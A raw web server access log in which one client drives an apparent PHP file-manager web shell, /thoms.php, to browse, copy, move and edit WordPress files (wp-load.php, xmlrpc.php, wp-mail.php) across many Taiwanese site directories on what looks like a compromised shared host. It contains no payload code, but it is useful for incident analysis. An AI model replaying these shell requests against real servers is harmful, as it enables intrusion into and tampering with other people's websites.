45.135.193.11 - - [11/Sep/2026:23:20:45 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:45 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11408 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:45 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 20235 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:45 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:45 -0400] "GET /thoms.php?edit=thoms.php&p=bestzyx.com.tw HTTP/1.1" 200 56167 "http://163.245.207.76:443/thoms.php?edit=thoms.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:45 -0400] "GET /thoms.php?edit=thoms.php&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 59740 "http://163.245.207.76:443/thoms.php?edit=thoms.php&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:45 -0400] "GET /thoms.php?edit=wp-load.php&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 17006 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:45 -0400] "GET /thoms.php?edit=wp-load.php&p=bestzyx.com.tw HTTP/1.1" 200 13399 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:45 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:45 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 20312 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11405 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11366 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:46 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 20319 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p= HTTP/1.1" 200 12269 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21786 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11858 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-load.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=biotaiwan.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=bioway88.com.tw HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=upgrade HTTP/1.1" 200 11368 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=bestzyx.com.tw HTTP/1.1" 200 11449 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=bodbooks.com.tw HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=wp-content HTTP/1.1" 200 11432 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=bossini.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=beauty-dental.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=besth2o.com.tw HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=big-wife.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=cgi-bin HTTP/1.1" 200 11356 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11404 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=wp-content-20260912023544 HTTP/1.1" 200 11377 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21786 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=ba-guo.com.tw HTTP/1.1" 200 11373 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=bfl.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21786 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:48 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=bogroup.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:48 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=broadweb.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:48 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=booking-wise2.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:48 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21766 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:48 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=bestjudy.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:48 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=betcity.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:48 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=bft.com.tw HTTP/1.1" 200 11441 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:48 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:48 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flocoy.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flocoy.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:48 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:48 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21737 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:48 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 20478 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flocoy.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:48 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flocoy.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flocoy.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:48 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p= HTTP/1.1" 200 12267 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:48 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 20480 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flocoy.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:49 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11394 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:49 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:49 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:49 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11417 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:49 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11857 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flocoy.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:49 -0400] "GET /thoms.php?edit=xmlrpc.php&p=bestzyx.com.tw HTTP/1.1" 200 13113 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:49 -0400] "GET /thoms.php?edit=xmlrpc.php&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 16701 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:49 -0400] "GET /thoms.php?edit=wp-mail.php&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 18710 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:49 -0400] "GET /thoms.php?edit=wp-mail.php&p=bestzyx.com.tw HTTP/1.1" 200 15087 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
